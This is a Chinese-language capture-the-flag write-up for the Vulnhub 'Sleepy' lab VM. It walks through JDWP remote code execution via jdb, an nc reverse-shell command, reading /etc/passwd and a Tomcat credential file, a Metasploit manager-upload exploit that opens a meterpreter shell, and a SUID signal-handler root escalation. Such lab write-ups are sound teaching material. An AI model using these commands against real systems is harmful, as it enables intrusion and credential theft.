/dev/random: Sleepy from Vulnhub
nmap掃描結果如下
root@kali:~/Security/sleepy# nmap -n -T5 192.168.0.117 --top-ports=5000 -A
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-12-19 23:46 CST
Warning: 192.168.0.117 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.0.117
Host is up (0.00032s latency).
Not shown: 4250 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
MAC Address: 08:00:27:79:0F:C3 (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms 192.168.0.117
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.34 seconds
用anonymous登入ftp後只拿到一張看起來沒有線索的jpg檔,暫時先放到一邊
另外還開了兩個還沒遇過的port,用nc連過去都沒甚麼回應,先google一下一般開啟這兩個port的用途
port 8009大部分的用途是,Apache JServ Protocol
說不定自己架一個apache server再proxy過去就能看到網頁了
不過要使用這個功能必須先安裝 libapache2-mod-jk
安裝後再設定讓自己的Apache Server proxy到目標ip後,用瀏覽器就能看到架好的Tomcat Server了
連上後先嘗試登入tomcat的管理介面
不過試了很多組密碼都沒有用,用dirbuster也沒找到可疑的目錄,只能暫時擱置,來看另一個開啟的port
port 9001通常用於Java Debug Wire Protocol,可以讓使用者遠端debug JVM
首先找到這篇文章,大意是可以透過連入JDWP達到Remote code execution的效果
不過實際拿他的exploit來用(metasploit其實也有內建exploit了),發現很難猜到目標有使用的物件,繼續再找找有沒有替代方案
再來找到這篇:直接用jdb attach到目標後中斷程式,藉由建立新的物件達到執行命令的效果
root@kali:~/Security/sleepy# jdb -attach 192.168.0.117:9001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
>
很順利地連上之後,先想辦法讓程式中斷
> threads
Group system:
(java.lang.ref.Reference$ReferenceHandler)0x19d Reference Handler cond. waiting
(java.lang.ref.Finalizer$FinalizerThread)0x19e Finalizer cond. waiting
(java.lang.Thread)0x19f Signal Dispatcher running
Group main:
(java.lang.Thread)0x1a1 main sleeping
> interrupt 0x1a1
>
Exception occurred: java.lang.InterruptedException (uncaught)"thread=main", java.lang.Thread.sleep(), line=-1 bci=-1
main[1]
來試試讓目標彈一個reverse shell回來
main[1] print new java.lang.Runtime().exec("nc 192.168.0.115 12345 -e /bin/sh") com.sun.tools.example.debug.expr.ParseException: Unable to create java.lang.Runtime instance
new java.lang.Runtime().exec("nc 192.168.0.115 12345 -e /bin/sh") = null
失敗。接著換其他指令試試看
main[1] print new java.lang.Runtime().exec("cat /etc/passwd")
new java.lang.Runtime().exec("cat /etc/passwd") = "java.lang.UNIXProcess@6a059fa4"
看起來有成功產生物件,但卻看不到內容,稍微研究一下要怎麼顯示exec的輸出,拼湊出了下面這難看的解法
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cat /etc/passwd").getInputStream())).readLine())
new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("cat /etc/passwd").getInputStream())).readLine()) = "root:x:0:0:root:/root:/bin/bash"
但是用這方法實在很難操作,後來想到可以找看看tomcat的管理帳密
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 1 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 1 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = "</tomcat-users>"
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 2 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 2 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = ""
main[1] print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine())
new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("tail -n 3 /etc/tomcat/tomcat-users.xml").getInputStream())).readLine()) = "<user username="sl33py" password="Gu3SSmYStR0NgPa$sw0rD!" roles="tomcat,manager-gui,admin-gui,admin,manager-jmx,admin-script,manager,manager-script,manager-status"/>"
帳號是 sl33py,密碼是 Gu3SSmYStR0NgPa$sw0rD。成功登入tomcat管理介面!
前面在研究tomcat密碼設定的過程中看到一篇文章:有人的伺服器被打入管理介面後塞了一個.war檔進去。
所以就先從file upload+code execution的方向去找exploit
在kali下用searchsploit找看看
root@kali:~# searchsploit tomcat | grep Upload
Apache Tomcat Manager - Application Upload Authenticated Code Execution | ./multiple/remote/31433.rb
Apache Commons FileUpload and Apache Tomcat - Denial-of-Service | ./multiple/dos/31615.rb
第一個看起來有點像是我們想要東西,而要實際操作這個exploit必須要使用metasploit
root@kali:~# msfconsole -q
msf > search tomcat
...
exploit/multi/http/tomcat_mgr_upload 2009-11-09 excellent Apache Tomcat Manager Authenticated Upload Code Execution
msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) >
設定好之後用show options檢查一下
PASSWORD Gu3SSmYStR0NgPa$sw0rD! no The password for the specified username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 127.0.0.1 yes The target address
RPORT 80 yes The target port
TARGETURI /manager yes The URI path of the manager app (/html/upload and /undeploy will be used)
USERNAME sl33py no The username to authenticate as
VHOST no HTTP server virtual host
設定沒問題就給他run下去!成功拿到meterpreter的shell!
msf exploit(tomcat_mgr_upload) > run
[*] Started reverse handler on 192.168.0.115:12333
[*] 127.0.0.2:80 - Retrieving session ID and CSRF token...
[*] 127.0.0.2:80 - Uploading and deploying 9Vw90ot2DD7eS...
[*] 127.0.0.2:80 - Executing 9Vw90ot2DD7eS...
[*] 127.0.0.2:80 - Undeploying 9Vw90ot2DD7eS ...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495598 bytes) to 192.168.0.117
[*] Meterpreter session 1 opened (192.168.0.115:12333 -> 192.168.0.117:37622) at 2015-12-21 00:25:56 +0800
meterpreter >
稍微研究一下目標電腦,會知道裡面有個叫sleepy的使用者,而且有個能夠以tomcat身分執行的suid程式
sh-4.2$ cat /etc/passwd
...
sleepy:x:1002:1002::/home/sleepy:/bin/bash
sh-4.2$ for i in $(find / -perm -4000 2>/dev/null); do ls -al $i; done
...
-rwsr-s---. 1 root tomcat 8669 Jan 18 2015 /usr/bin/nightmare
而實際執行後會跳出錯誤訊息
sh-4.2$ /usr/bin/nightmare
[-] error: no tty present
要tty是吧,試試看能不能用pty騙一下
sh-4.2$ python -c 'import pty;pty.spawn("/bin/bash");'
bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]?
看來不能用騙的,最後只好把程式丟回kali分析看看
程式的架構大概是像下面這樣
void main()
{
memset(var_a, 0x0, 0x98);
sigaction(0x2, 0x40081f, 0);
sigaction(0xf, 0x40081f, 0);
if (open("/dev/tty", 0x2) == -1) {
puts ("[-] error: no tty present");
}
else {
fire();
while (1) {
printf ("[+] Again [y/n]?");
var_b = getchar ();
if (var_b == 'y' or var_b == 'Y') {
fire();
}
else if (var_b == 'n' || var_b == 'N') {
puts ("Oops.. 'n' is broken");
}
};
}
}
void fire ()
{
system("/usr/bin/aafire");
}
再來是sigaction所指定的函式
void sigHandler ()
{
train();
exit(0);
}
void train ()
{
setresuid (0, 0, 0, 0);
setresgid (0, 0, 0, 0);
system ("/usr/bin/sl -al");
}
既然用到了setresuid和setresgid,看來是希望我們對/usr/bin/sl操作來達到提權的目的
花了一段時間,最後用”replace path to binary”當關鍵字找到一個神奇的解法
程式內用sigaction設定了當遇到SIGINT(0x2)和SIGTERM(0xf)時要進入sigHandler
不過因為現在是用meterpreter建的shell,如果下Ctrl+C的話,SIGINT指令會被meterpreter吃掉
只能再建另一個session,用kill -2或-15把signal送出後就拿到root了
bash-4.2$ /usr/bin/nightmare
/usr/bin/nightmare
Error opening terminal: unknown.
[+] Again [y/n]? bash-4.2# id
id
uid=0(root) gid=0(root) groups=0(root),91(tomcat) context=system_u:system_r:tomcat_t:s0
bash-4.2#
/root/flag.txt是超佔畫面的的七個小矮人,就不放了